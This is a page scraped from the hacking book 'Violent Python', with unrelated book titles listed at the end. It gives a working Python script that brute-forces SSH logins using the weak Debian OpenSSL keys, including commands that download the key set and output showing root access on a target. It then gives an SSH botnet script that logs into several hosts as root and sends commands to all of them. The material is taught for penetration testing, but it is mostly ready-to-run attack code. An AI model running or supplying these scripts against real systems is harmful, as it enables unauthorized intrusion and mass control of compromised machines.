Violent Python: A Cookbook for Hackers, Forensic Analysts, Penetration Testers and Security Engineers (7 page)

Exploiting SSH Through Weak Private Keys

Passwords provide a method of authenticating to an SSH server but this is not the only one. Additionally, SSH provides the means to authenticate using public key cryptography. In this scenario, the server knows the public key and the user knows the private key. Using either RSA or DSA algorithms, the server produces these keys for logging into SSH. Typically, this provides an excellent method for authentication. With the ability to generate 1024-bit, 2048-bit, or
4096-bit keys, this authentication process makes it difficult to use brute force as we did with weak passwords.

However, in 2006 something interesting happened with the Debian Linux Distribution. A developer commented on a line of code found by an automated software analysis toolkit. The particular line of code ensured entropy in the creation of SSH keys. By commenting on the particular line of code, the size of the searchable key space dropped to 15-bits of entropy (
Ahmad, 2008
). Without only 15-bits of entropy, this meant only 32,767 keys existed for each algorithm and size. HD Moore, CSO and Chief Architect at Rapid7, generated all of the 1024-bit and 2048 bit keys in under two hours (
Moore, 2008
). Moreover, he made them available for download at:
http://digitaloffense.net/tools/debian-openssl/
. You can download the 1024-bit keys to begin. After downloading and extracting the keys, go ahead and delete the public keys, since we will only need the private keys to test our connection.

attacker# wget
http://digitaloffense.net/tools/debian-openssl/debian_ssh_dsa_1024_x86.tar.bz2

--2012-06-30 22:06:32--
http://digitaloffense.net/tools/debian-openssl/debian_ssh_dsa_1024_x86.tar.bz2

 Resolving digitaloffense.net... 184.154.42.196, 2001:470:1f10:200::2

 Connecting to digitaloffense.net|184.154.42.196|:80... connected.

 HTTP request sent, awaiting response... 200 OK

 Length: 30493326 (29M) [application/x-bzip2]

 Saving to: ‘debian_ssh_dsa_1024_x86.tar.bz2’

 100%[=====================================================================================================>] 30,493,326 496K/s in 74s

 2012-06-30 22:07:47 (400 KB/s) - ‘debian_ssh_dsa_1024_x86.tar.bz2’ saved [30493326/30493326]

 attacker# bunzip2 debian_ssh_dsa_1024_x86.tar.bz2

 attacker# tar -xf debian_ssh_dsa_1024_x86.tar

 attacker# cd dsa/1024/

 attacker# ls

 00005b35764e0b2401a9dcbca5b6b6b5-1390

 00005b35764e0b2401a9dcbca5b6b6b5-1390.pub

 00058ed68259e603986db2af4eca3d59-30286

 00058ed68259e603986db2af4eca3d59-30286.pub

 0008b2c4246b6d4acfd0b0778b76c353-29645

 0008b2c4246b6d4acfd0b0778b76c353-29645.pub

 000b168ba54c7c9c6523a22d9ebcad6f-18228

 000b168ba54c7c9c6523a22d9ebcad6f-18228.pub

 000b69f08565ae3ec30febde740ddeb7-6849

 000b69f08565ae3ec30febde740ddeb7-6849.pub

 000e2b9787661464fdccc6f1f4dba436-11263

 000e2b9787661464fdccc6f1f4dba436-11263.pub

 <..SNIPPED..>

 attacker# rm -rf dsa/1024/∗.pub

This mistake lasted for 2 years before it was discovered by a security researcher. As a result, it is accurate to state that quite a few servers were built with a weakened SSH service. It would be nice if we could build a tool to exploit this vulnerability. However, with access to the key space, it is possible to write a small Python script to brute force through each of the 32,767 keys in order to authenticate to a passwordless SSH server that relies upon a public-key cryptograph. In fact, the Warcat Team wrote such a script and posted it to milw0rm within days of the vulnerability discovery. Exploit-DB archived the Warcat Team script at:
http://www.exploit-db.com/exploits/5720/
. However, lets write our own script utilizing the same pexpect library we used to brute force through password authentication.

The script to test weak keys proves nearly very similar to our brute force password authentication. To authenticate to SSH with a key, we need to type
ssh user@host –i keyfile –o PasswordAuthentication=no
. For the following script, we loop through the set of generated keys and attempt a connection. If the connection succeeds, we print the name of the keyfile to the screen. Additionally, we will use two global variables Stop and Fails. Fails will keep count of the number of failed connection we have had due to the remote host closing the connection. If this number is greater than 5, we will terminate our script. If our scan has triggered a remote IPS that prevents our connection, there is no sense continuing. Our Stop global variable is a Boolean that lets us known that we have a found a key and the main() function does not need to start any new connection threads.

 import pexpect

 import optparse

 import os

 from threading import ∗

 maxConnections = 5

 connection_lock = BoundedSemaphore(value=maxConnections)

 Stop = False

 Fails = 0

 def connect(user, host, keyfile, release):

  global Stop

  global Fails

  try:

   perm_denied = ‘Permission denied’

   ssh_newkey = ‘Are you sure you want to continue’

   conn_closed = ‘Connection closed by remote host’

   opt = ‘ -o PasswordAuthentication=no’

   connStr = ‘ssh ’ + user +\

    ‘@’ + host + ‘ -i ’ + keyfile + opt

   child = pexpect.spawn(connStr)

   ret = child.expect([pexpect.TIMEOUT, perm_denied, \

    ssh_newkey, conn_closed, ‘$’, ‘#’, ])

   if ret == 2:

    print ‘[-] Adding Host to ∼/.ssh/known_hosts’

    child.sendline(‘yes’)

    connect(user, host, keyfile, False)

   elif ret == 3:

    print ‘[-] Connection Closed By Remote Host’

    Fails += 1

   elif ret > 3:

    print ‘[+] Success. ’ + str(keyfile)

    Stop = True

  finally:

   if release:

    connection_lock.release()

 def main():

  parser = optparse.OptionParser(‘usage%prog -H ’+\

   ‘ -u -d ’)

  parser.add_option(‘-H’, dest=‘tgtHost’, type=‘string’, \

   help=‘specify target host’)

  parser.add_option(‘-d’, dest=‘passDir’, type=‘string’, \

   help=‘specify directory with keys’)

  parser.add_option(‘-u’, dest=‘user’, type=‘string’, \

   help=‘specify the user’)

   (options, args) = parser.parse_args()

  host = options.tgtHost

  passDir = options.passDir

  user = options.user

  if host == None or passDir == None or user == None:

   print parser.usage

   exit(0)

  for filename in os.listdir(passDir):

   if Stop:

    print ‘[∗] Exiting: Key Found.’

    exit(0)

   if Fails > 5:

    print ‘[!] Exiting: ’+\

      ‘Too Many Connections Closed By Remote Host.’

    print ‘[!] Adjust number of simultaneous threads.’

    exit(0)

   connection_lock.acquire()

   fullpath = os.path.join(passDir, filename)

   print ‘[-] Testing keyfile ’ + str(fullpath)

   t = Thread(target=connect, \

    args=(user, host, fullpath, True))

   child = t.start()

 if __name__ == ‘__main__’:

  main()

Testing this against a target, we see that we can gain access to a vulnerable system. If the 1024-bit keys do not work, try downloading the 2048 keys as well and using them.

 attacker# python bruteKey.py -H 10.10.13.37 -u root -d dsa/1024

 [-] Testing keyfile tmp/002cc1e7910d61712c1aa07d4a609e7d-16764

 [-] Testing keyfile tmp/003d39d173e0ea7ffa7cbcdd9c684375-31965

 [-] Testing keyfile tmp/003e7c5039c07257052051962c6b77a0-9911

 [-] Testing keyfile tmp/002ee4b916d80ccc7002938e1ecee19e-7997

 [-] Testing keyfile tmp/00360c749f33ebbf5a05defe803d816a-31361

 <..SNIPPED..>

 [-] Testing keyfile tmp/002dcb29411aac8087bcfde2b6d2d176-27637

 [-] Testing keyfile tmp/002a7ec8d678e30ac9961bb7c14eb4e4-27909

 [-] Testing keyfile tmp/002401393933ce284398af5b97d42fb5-6059

 [-] Testing keyfile tmp/003e792d192912b4504c61ae7f3feb6f-30448

 [-] Testing keyfile tmp/003add04ad7a6de6cb1ac3608a7cc587-29168

 [+] Success. tmp/002dcb29411aac8087bcfde2b6d2d176-27637

 [-] Testing keyfile tmp/003796063673f0b7feac213b265753ea-13516

 [∗] Exiting: Key Found.

Constructing the SSH Botnet

Now that we have demonstrated we can control a host via SSH, let us expand it to control multiple hosts simultaneously. Attackers often use collections of compromised computers for malicious purposes. We call this a botnet because the compromised computers act like bots to carry out instructions.

From The Trenches
A Voluntary Botnet

The hacker group, Anonymous, routinely employs the use of a voluntary botnet against their adversaries. In this capacity, the hacker group asks its members to download a tool known as Low Orbit Ion Cannon (LOIC). As a collective, the members of Anonymous launch a distributed botnet attack against sites they deem adversaries. While arguably illegal, the acts of the Anonymous group have had some notable and morally victorious successes. In a recent operation, Operation #Darknet, Anonymous used its voluntary botnet to overwhelm the hosting resources of a site dedicated to distributing child pornography.

In order to construct our botnet, we will have to introduce a new concept—a class. The concept of
a class
serves as the basis for a programming model named, object oriented programming. In this system, we instantiate individual objects with associated methods. For our botnet, each individual bot or client will require the ability to connect, and issue a command.

 import optparse

 import pxssh

 class Client:

  def __init__(self, host, user, password):

   self.host = host

   self.user = user

   self.password = password

   self.session = self.connect()

  def connect(self):

   try:

    s = pxssh.pxssh()

    s.login(self.host, self.user, self.password)

    return s

   except Exception, e:

    print e

    print ‘[-] Error Connecting’

  def send_command(self, cmd):

   self.session.sendline(cmd)

   self.session.prompt()

   return self.session.before

Examine the code to produce the class object Client(). To build the client requires the hostname, username, and password or key. Furthermore, the class contains the methods required to sustain a client—connect(), send_command(), alive(). Notice that when we reference a variable belonging to a class, we call it self-followed by the variable name. To construct the botnet, we build a global array named botnet and this array contains the individual client objects. Next, we build a function named addClient() that takes a host, user,
and password as input to instantiates a client object and add it to the botnet array. Next, the botnetCommand() function takes an argument of a command. This function iterates through the entire array and sends the command to each client in the botnet array.

 import optparse

 import pxssh

 class Client:

  def __init__(self, host, user, password):

   self.host = host

   self.user = user

   self.password = password

   self.session = self.connect()

 def connect(self):

  try:

   s = pxssh.pxssh()

   s.login(self.host, self.user, self.password)

   return s

  except Exception, e:

   print e

   print ‘[-] Error Connecting’

  def send_command(self, cmd):

   self.session.sendline(cmd)

   self.session.prompt()

   return self.session.before

 def botnetCommand(command):

  for client in botNet:

   output = client.send_command(command)

   print ‘[∗] Output from ’ + client.host

   print ‘[+] ’ + output + ‘\n’

 def addClient(host, user, password):

  client = Client(host, user, password)

  botNet.append(client)

 botNet = []

 addClient(‘10.10.10.110’, ‘root’, ‘toor’)

 addClient(‘10.10.10.120’, ‘root’, ‘toor’)

 addClient(‘10.10.10.130’, ‘root’, ‘toor’)

 botnetCommand(‘uname -v’)

 botnetCommand(‘cat /etc/issue’)

By wrapping everything up, we have our final SSH botnet script. This proves an excellent method for mass controlling targets. To test, we make three copies of our current Backtrack 5 virtual machine and assign. We see we can the script iterate through these three hosts and issue simultaneous commands to each of the victims. While the SSH Botnet creation script attacked servers directly, the next section will focus on an indirect attack vector to target clients through vulnerable servers and an alternate approach to building a mass infection.

 attacker:∼# python botNet.py

 [∗] Output from 10.10.10.110

 [+] uname -v

 #1 SMP Fri Feb 17 10:34:20 EST 2012

 [∗] Output from 10.10.10.120

 [+] uname -v

 #1 SMP Fri Feb 17 10:34:20 EST 2012

 [∗] Output from 10.10.10.130

 [+] uname -v

 #1 SMP Fri Feb 17 10:34:20 EST 2012

 [∗] Output from 10.10.10.110

 [+] cat /etc/issue

 BackTrack 5 R2 - Code Name Revolution 64 bit \n \l

 [∗] Output from 10.10.10.120

 [+] cat /etc/issue

 BackTrack 5 R2 - Code Name Revolution 64 bit \n \l

 [∗] Output from 10.10.10.130

 [+] cat /etc/issue

 BackTrack 5 R2 - Code Name Revolution 64 bit \n \l

Other books

Red Wolfe by B.L. Herndon
The Second Son: A Novel by Jonathan Rabb
Feather Boy by Nicky Singer
Cryonic by Travis Bradberry
Superbia 2 by Bernard Schaffer
Void by Cassy Roop
The Bride of Devil's Acre by Kohout, Jennifer